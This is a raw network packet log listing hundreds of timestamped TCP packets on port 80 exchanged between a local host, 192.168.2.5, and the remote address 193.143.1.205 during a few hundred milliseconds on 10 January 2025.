Jan 10, 2025 22:07:16.513299942 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.513318062 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.513324022 CET	49725	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:07:16.513329029 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.513339996 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.513355970 CET	49725	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:07:16.513382912 CET	49725	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:07:16.527415991 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.527445078 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.527497053 CET	49725	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:07:16.527678967 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.527692080 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.527709007 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.527725935 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.527738094 CET	49725	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:07:16.527741909 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.527759075 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.527762890 CET	49725	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:07:16.527792931 CET	49725	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:07:16.527869940 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.527884960 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.527901888 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.527929068 CET	49725	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:07:16.527972937 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.527988911 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.528004885 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.528021097 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.528028965 CET	49725	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:07:16.528065920 CET	49725	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:07:16.528196096 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.528211117 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.528227091 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.528235912 CET	49725	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:07:16.528243065 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.528259993 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.528278112 CET	49725	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:07:16.528299093 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.528304100 CET	49725	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:07:16.528322935 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.528337955 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.528353930 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.528358936 CET	49725	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:07:16.528369904 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.528384924 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.528388977 CET	49725	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:07:16.528402090 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.528423071 CET	49725	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:07:16.528795004 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.528810024 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.528827906 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.528832912 CET	49725	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:07:16.528842926 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.528858900 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.528871059 CET	49725	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:07:16.528892994 CET	49725	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:07:16.528969049 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.528984070 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.529001951 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.529016018 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.529028893 CET	49725	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:07:16.529031992 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.529048920 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.529052973 CET	49725	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:07:16.529083014 CET	49725	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:07:16.529115915 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.529130936 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.529148102 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.529161930 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.529165983 CET	49725	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:07:16.529177904 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.529192924 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.529196024 CET	49725	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:07:16.529208899 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.529222965 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.529225111 CET	49725	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:07:16.529261112 CET	49725	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:07:16.529802084 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.529825926 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.529843092 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.529858112 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.529861927 CET	49725	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:07:16.529872894 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.529887915 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.529901028 CET	49725	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:07:16.529902935 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.529917002 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.529932022 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.529937983 CET	49725	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:07:16.529947042 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.529963970 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.529979944 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.529990911 CET	49725	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:07:16.529997110 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.530011892 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.530014038 CET	49725	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:07:16.530028105 CET	49725	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:07:16.530028105 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.530042887 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.530047894 CET	49725	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:07:16.530057907 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.530076027 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.530082941 CET	49725	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:07:16.530117035 CET	49725	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:07:16.530694008 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.530716896 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.530731916 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.530745983 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.530757904 CET	49725	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:07:16.530761957 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.530776024 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.530778885 CET	49725	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:07:16.530792952 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.530807972 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.530822992 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.530829906 CET	49725	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:07:16.530838013 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.530853987 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.530853987 CET	49725	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:07:16.530869007 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.530870914 CET	49725	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:07:16.530884027 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.530899048 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.530905962 CET	49725	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:07:16.530913115 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.530930996 CET	49725	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:07:16.531388998 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.531404018 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.531425953 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.531433105 CET	49725	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:07:16.531466007 CET	49725	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:07:16.531516075 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.531531096 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.531547070 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.531560898 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.531568050 CET	49725	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:07:16.531604052 CET	49725	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:07:16.561556101 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.561569929 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.561590910 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.561603069 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.561614037 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.561625004 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.561633110 CET	49725	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:07:16.561635971 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.561649084 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.561659098 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.561676025 CET	49725	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:07:16.561696053 CET	49725	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:07:16.574515104 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.574532032 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.574548960 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.574561119 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.574568987 CET	49725	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:07:16.574572086 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.574584961 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.574594975 CET	49725	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:07:16.574595928 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.574608088 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.574634075 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.574637890 CET	49725	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:07:16.574654102 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.574665070 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.574676991 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.574687004 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.574695110 CET	49725	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:07:16.574697971 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.574708939 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.574722052 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.574727058 CET	49725	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:07:16.574732065 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.574743986 CET	49725	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:07:16.574764967 CET	49725	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:07:16.599911928 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.599925041 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.599936008 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.599947929 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.599958897 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.599970102 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.599978924 CET	49725	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:07:16.599981070 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.599992990 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.600018024 CET	49725	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:07:16.600049973 CET	49725	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:07:16.608120918 CET	49725	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:07:16.614167929 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.614178896 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.614190102 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.614202976 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.614212990 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.614226103 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.614303112 CET	49725	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:07:16.614303112 CET	49725	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:07:16.614485025 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.614496946 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.614507914 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.614518881 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.614526987 CET	49725	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:07:16.614530087 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.614542007 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.614556074 CET	49725	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:07:16.614579916 CET	49725	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:07:16.614586115 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.614597082 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.614614964 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.614630938 CET	49725	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:07:16.614631891 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.614643097 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.614651918 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.614661932 CET	49725	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:07:16.614662886 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.614675045 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.614686012 CET	49725	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:07:16.614713907 CET	49725	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:07:16.614723921 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.614733934 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.614743948 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.614768028 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.614782095 CET	49725	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:07:16.614797115 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.614814043 CET	49725	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:07:16.614837885 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.614867926 CET	49725	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:07:16.614938021 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.614948988 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.614959955 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.614970922 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.614983082 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.614989042 CET	49725	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:07:16.614995003 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.615008116 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.615011930 CET	49725	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:07:16.615151882 CET	49725	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:07:16.615181923 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.615199089 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.615211010 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.615220070 CET	49725	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:07:16.615222931 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.615246058 CET	49725	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:07:16.615379095 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.615391016 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.615417004 CET	49725	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:07:16.615441084 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.615453005 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.615464926 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.615473986 CET	49725	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:07:16.615475893 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.615487099 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.615499020 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.615499973 CET	49725	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:07:16.615520000 CET	49725	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:07:16.615711927 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.615722895 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.615734100 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.615745068 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.615756035 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.615758896 CET	49725	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:07:16.615768909 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.615780115 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.615783930 CET	49725	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:07:16.615792036 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.615803957 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.615806103 CET	49725	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:07:16.615816116 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.615828037 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.615838051 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.615839958 CET	49725	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:07:16.615849972 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.615861893 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.615863085 CET	49725	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:07:16.615886927 CET	49725	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:07:16.619199991 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.619210005 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.619241953 CET	49725	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:07:16.619417906 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.619429111 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.619440079 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.619452000 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.619452953 CET	49725	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:07:16.619463921 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.619477034 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.619484901 CET	49725	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:07:16.619488955 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.619501114 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.619512081 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.619519949 CET	49725	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:07:16.619524002 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.619538069 CET	49725	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:07:16.619554996 CET	49725	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:07:16.626344919 CET	49725	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:07:16.638905048 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.638921976 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.638937950 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.638955116 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.638967037 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.638972998 CET	49725	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:07:16.638983965 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.638999939 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.639013052 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.639022112 CET	49725	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:07:16.639027119 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.639041901 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.639079094 CET	49725	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:07:16.639136076 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.639148951 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.639162064 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.639173031 CET	49725	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:07:16.639183998 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.639198065 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.639204979 CET	49725	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:07:16.639210939 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.639225006 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.639235020 CET	49725	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:07:16.639239073 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.639251947 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.639256001 CET	49725	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:07:16.639264107 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.639277935 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.639292002 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.639298916 CET	49725	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:07:16.639324903 CET	49725	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:07:16.652939081 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.653016090 CET	49725	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:07:16.653032064 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.653042078 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.653053045 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.653064966 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.653076887 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.653076887 CET	49725	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:07:16.653099060 CET	49725	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:07:16.661242962 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.661257029 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.661276102 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.661288023 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.661298990 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.661305904 CET	49725	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:07:16.661310911 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.661324978 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.661339045 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.661346912 CET	49725	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:07:16.661349058 CET	80	49725	193.143.1.205	192.168.2.5
